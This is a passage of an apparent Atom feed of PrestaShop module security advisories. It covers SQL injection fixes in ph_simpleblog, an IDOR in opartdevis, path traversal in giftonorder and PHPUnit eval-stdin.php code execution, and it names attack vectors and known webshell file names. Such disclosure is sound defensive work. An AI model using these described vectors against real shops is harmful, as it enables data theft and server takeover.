</span><span class="gi">+            $sql-&gt;where('l.link_rewrite = \'' . pSQL($rewrite) . '\'');
</span><span class="p">@@ -538 +538 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-                    $sql-&gt;where('l.link_rewrite = \'' . $rewrite . '\' AND l.id_lang = ' . (int) $id_lang);
</span><span class="gi">+                    $sql-&gt;where('l.link_rewrite = \'' . pSQL($rewrite) . '\' AND l.id_lang = ' . (int) $id_lang);
</span><span class="p">@@ -540 +540 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-                    $sql-&gt;where('l.link_rewrite = \'' . $rewrite . '\'');
</span><span class="gi">+                    $sql-&gt;where('l.link_rewrite = \'' . pSQL($rewrite) . '\'');
</span><span class="p">@@ -820 +820 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-            $sql = 'UPDATE `' . _DB_PREFIX_ . 'simpleblog_post` SET `likes` = `likes` + 1 WHERE id_simpleblog_post = ' . $id_simpleblog_post;
</span><span class="gi">+            $sql = 'UPDATE `' . _DB_PREFIX_ . 'simpleblog_post` SET `likes` = `likes` + 1 WHERE id_simpleblog_post = ' . (int) $id_simpleblog_post;
</span><span class="p">@@ -822 +822 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-            $sql = 'UPDATE `' . _DB_PREFIX_ . 'simpleblog_post` SET `likes` = `likes` - 1 WHERE id_simpleblog_post = ' . $id_simpleblog_post;
</span><span class="gi">+            $sql = 'UPDATE `' . _DB_PREFIX_ . 'simpleblog_post` SET `likes` = `likes` - 1 WHERE id_simpleblog_post = ' . (int) $id_simpleblog_post;
</span><span class="p">@@ -829 +829 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-        $sql = 'SELECT `likes` FROM `' . _DB_PREFIX_ . 'simpleblog_post` WHERE id_simpleblog_post = ' . $id_simpleblog_post;
</span><span class="gi">+        $sql = 'SELECT `likes` FROM `' . _DB_PREFIX_ . 'simpleblog_post` WHERE id_simpleblog_post = ' . (int) $id_simpleblog_post;
</span><span class="p">@@ -838 +838 @@</span> class SimpleBlogPost extends ObjectModel
<span class="gd">-        $sql = 'UPDATE `' . _DB_PREFIX_ . 'simpleblog_post` SET `views` = `views` + 1 WHERE id_simpleblog_post = ' . $this-&gt;id_simpleblog_post;
</span><span class="gi">+        $sql = 'UPDATE `' . _DB_PREFIX_ . 'simpleblog_post` SET `views` = `views` + 1 WHERE id_simpleblog_post = ' . (int) $this-&gt;id_simpleblog_post;
</span>
--- a/modules/ph_simpleblog/models/SimpleBlogPostType.php
<span class="gi">+++ b/modules/ph_simpleblog/models/SimpleBlogPostType.php
</span><span class="p">@@ -68 +68 @@</span> class SimpleBlogPostType extends ObjectModel
<span class="gd">-        $sql-&gt;where('slug = \'' . $slug . '\'');
</span><span class="gi">+        $sql-&gt;where('slug = \'' . pSQL($slug) . '\''
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Upgrade the module to the most recent version</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>18-06-2021</td>
      <td>Issue discovered during a pentest</td>
    </tr>
    <tr>
      <td>13-07-2021</td>
      <td>Reported issue to Prestahome</td>
    </tr>
    <tr>
      <td>14-07-2021</td>
      <td>Prestahome patched the issue in version 1.7.8</td>
    </tr>
    <tr>
      <td>15-07-2021</td>
      <td>Number CVE-2021-36748 assigned</td>
    </tr>
    <tr>
      <td>18-08-2021</td>
      <td>Blog post released</td>
    </tr>
    <tr>
      <td>20-08-2021</td>
      <td>pajoda released a Nuclei template for this CVE</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://blog.sorcery.ie/posts/ph_simpleblog_sqli/">Source of this CVE</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-36748">National Vulnerability Database CVE-2021-36748</a></li>
</ul>]]></content><author><name>[&quot;Sorcery Ltd&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[An SQL Injection issue in the list controller of the Prestahome Blog (aka ph_simpleblog) module before 1.7.8 for Prestashop allows a remote attacker to extract data from the database via the sb_category parameter.]]></summary></entry><entry><title type="html">[CVE-2020-16194] Authorization Bypass Through User-Controlled Key in Opart Devis module (opartdevis)</title><link href="https://security.friendsofpresta.org/modules/2021/04/02/opartdevis.html" rel="alternate" type="text/html" title="[CVE-2020-16194] Authorization Bypass Through User-Controlled Key in Opart Devis module (opartdevis)" /><published>2021-04-02T00:00:00+00:00</published><updated>2021-04-02T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2021/04/02/opartdevis</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2021/04/02/opartdevis.html"><![CDATA[<p>In the module “Opart Devis” (opartdevis) up to version 4.0.2 unauthenticated attackers can have access to any user’s invoice and delivery address by exploiting an IDOR on the delivery_address and invoice_address fields.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-16194">CVE-2020-16194</a></li>
  <li><strong>Published at</strong>: 2020-06-07</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: opartdevis</li>
  <li><strong>Impacted release</strong>: &lt; 4.0.2</li>
  <li><strong>Product author</strong>: Opart</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a broken access control, an unauthenticated attackers can exploit an IDOR to get delivery_address and invoice_address fields.</p>

<p>Note : We didn’t do semver versionning before 2018 - so consider all versions which matched this pattern : XX-XX-XX to be updated without delay.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: None</li>
  <li><strong>Availability</strong>: None</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>access to any user’s invoice and delivery address</li>
</ul>

<h2 id="recommendations">recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>opartdevis</strong>.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2021-04-02</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Opart thanks <a href="https://github.com/login-securite">login-securite</a> for its courtesy and its help.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.store-opart.fr/p/25-devis.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-16194">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Opart&quot;, &quot;layno&quot;, &quot;c0dejump&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Opart Devis” (opartdevis) up to version 4.0.2 unauthenticated attackers can have access to any user’s invoice and delivery address by exploiting an IDOR on the delivery_address and invoice_address fields.]]></summary></entry><entry><title type="html">[CVE-2020-9368][CWE-22] Path traversal in Olea Gift On Order module (giftonorder) module for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2020/11/02/giftonorder_cwe-22.html" rel="alternate" type="text/html" title="[CVE-2020-9368][CWE-22] Path traversal in Olea Gift On Order module (giftonorder) module for PrestaShop" /><published>2020-11-02T00:00:00+00:00</published><updated>2020-11-02T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2020/11/02/giftonorder_cwe-22</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2020/11/02/giftonorder_cwe-22.html"><![CDATA[<p>The Module Olea Gift On Order module through 5.0.8 for PrestaShop enables an unauthenticated user to read arbitrary files on the server via getfile.php?file=/.. directory traversal.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9368">CVE-2020-9368</a></li>
  <li><strong>Published at</strong>: 2020-11-02</li>
  <li><strong>Advisory source</strong>: Intrinsec</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: giftonorder</li>
  <li><strong>Impacted release</strong>: &lt;= 5.0.8</li>
  <li><strong>Product author</strong>: Oleacorner</li>
  <li><strong>Weakness</strong>: <a href="https://www.cvedetails.com/cwe-details/22/cwe.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Olea Gift On Order module through 5.0.8 for PrestaShop enable an unauthenticated user to read arbitrary files on the server via getfile.php?file=/.. directory traversal.</p>

<p>As there is no access control over the getfile.php page, any unauthenticated user can call this file in their browser to retrieve the content of any page in any (sub)folder of the PrestaShop folder.
This is done by making a GET request to getfile.php with file parameter set to the file the user wants to retrieve.</p>

<p>The _PS_ROOT_DIR (root of the PrestaShop folder) variable is prepended to the file being retrieved. However, as there is no filtering on the input passed in file GET parameter, by prepending several ../ a user can retrieve files outside of the Prestashop directory.</p>

<h2 id="solutions">Solutions</h2>

<ul>
  <li>Manual removal of the getfile.php file as suggested by Oleacorner.</li>
  <li>No patch will be provided by the publisher.</li>
</ul>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain database access</li>
  <li>Extract sensitive data, such as tokens or private keys stored in config files</li>
  <li>Extract other private data, such as log files or exports</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-11</td>
      <td>Publish the security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-9368">National Vulnerability Database CVE-2020-9368</a></li>
  <li><a href="https://github.com/Intrinsec/CERT/blob/master/Advisories/CVE-2020-9368.md">Intrinsec blog post</a></li>
</ul>]]></content><author><name>[&quot;Intrinsec&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[The Module Olea Gift On Order module through 5.0.8 for PrestaShop enables an unauthenticated user to read arbitrary files on the server via getfile.php?file=/.. directory traversal.]]></summary></entry><entry><title type="html">[CVE-2017-9841] PHUnit dependancy in PrestaShop and modules allow remote arbitrary PHP code execution</title><link href="https://security.friendsofpresta.org/dependancies/2020/01/07/phpunit-CVE-2017-9841.html" rel="alternate" type="text/html" title="[CVE-2017-9841] PHUnit dependancy in PrestaShop and modules allow remote arbitrary PHP code execution" /><published>2020-01-07T00:00:00+00:00</published><updated>2020-01-07T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/dependancies/2020/01/07/phpunit-CVE-2017-9841</id><content type="html" xml:base="https://security.friendsofpresta.org/dependancies/2020/01/07/phpunit-CVE-2017-9841.html"><![CDATA[<p>Modules include the vulnerable dependancy are:</p>
<ul>
  <li>1-Click Upgrade (autoupgrade) from 4.0.0 to 4.10.1</li>
  <li>Cart Abandonment Pro (pscartabandonmentpro) from 2.0.1 to 2.0.10</li>
  <li>Faceted Search (ps_facetedsearch) from 2.2.1 to 3.4.1</li>
  <li>Merchant Expertise (gamification) from 2.1.0 to 2.3.2</li>
  <li>PrestaShop Checkout (ps_checkout) from 1.0.8 to 1.2.9</li>
</ul>

<p>In addition, if PrestaShop had been initially installed prior to ~1.7.6.0 with composer in dev mode can contain a critical vulnerability if .htaccess in vendor directory is <a href="https://github.com/PrestaShop/PrestaShop/blob/develop/vendor/.htaccess">not set in order to denied access</a>.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9841">CVE-2017-9841</a></li>
  <li><strong>Published at</strong>: 2020-01-20</li>
  <li><strong>Advisory source</strong>: <a href="https://build.prestashop-project.org/news/2020/critical-security-vulnerability-in-prestashop-modules/">PrestaShop</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: ~&lt; 1.7.6.0</li>
  <li><strong>Product author</strong>: PrestaShop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/94.html">CWE-94</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a “&lt;?php “ substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<p>According to <a href="https://build.prestashop-project.org/news/2020/critical-security-vulnerability-in-prestashop-modules/">PrestaShop team</a>, this vulnerability has been exploited to add a malicious code.</p>

<p>“According to our analysis, most attackers either place new files in the filesystem or modify existing files, like AdminLoginController.php. Here’s a non-exhaustive list of known malicious files that may indicate a compromised shop: XsamXadoo_Bot.php, XsamXadoo_deface.php, 0x666.php, f.php, Xsam_Xadoo.html”</p>

<h2 id="patch">Patch</h2>

<p>Delete vulnerables files on your PrestaShop:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">find . -type f -name "eval-stdin.php" -exec rm -rf {} \;
</span></code></pre></div></div>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2017-9841">National Vulnerability Database</a></li>
  <li><a href="https://build.prestashop-project.org/news/2020/critical-security-vulnerability-in-prestashop-modules/">PrestaShop news</a></li>
  <li><a href="https://github.com/PrestaShop/autoupgrade/security/advisories/GHSA-wqq8-mqj9-697f">1-Click Upgrade (autoupgrade) security advisory</a></li>
  <li><a href="https://github.com/PrestaShop/ps_facetedsearch/security/advisories/GHSA-f884-gm86-cg3q">Faceted Search (ps_facetedsearch) security advisory</a></li>
  <li><a href="https://github.com/PrestaShopCorp/gamification/security/advisories/GHSA-769f-539v-f5jg">Merchant Expertise (gamification) security advisory</a></li>
  <li><a href="https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-2885-vrx4-c3pg">PrestaShop Checkout (ps_checkout) security advisory</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="dependancies" /><summary type="html"><![CDATA[Modules include the vulnerable dependancy are: 1-Click Upgrade (autoupgrade) from 4.0.0 to 4.10.1 Cart Abandonment Pro (pscartabandonmentpro) from 2.0.1 to 2.0.10 Faceted Search (ps_facetedsearch) from 2.2.1 to 3.4.1 Merchant Expertise (gamification) from 2.1.0 to 2.3.2 PrestaShop Checkout (ps_checkout) from 1.0.8 to 1.2.9]]></summary></entry></feed>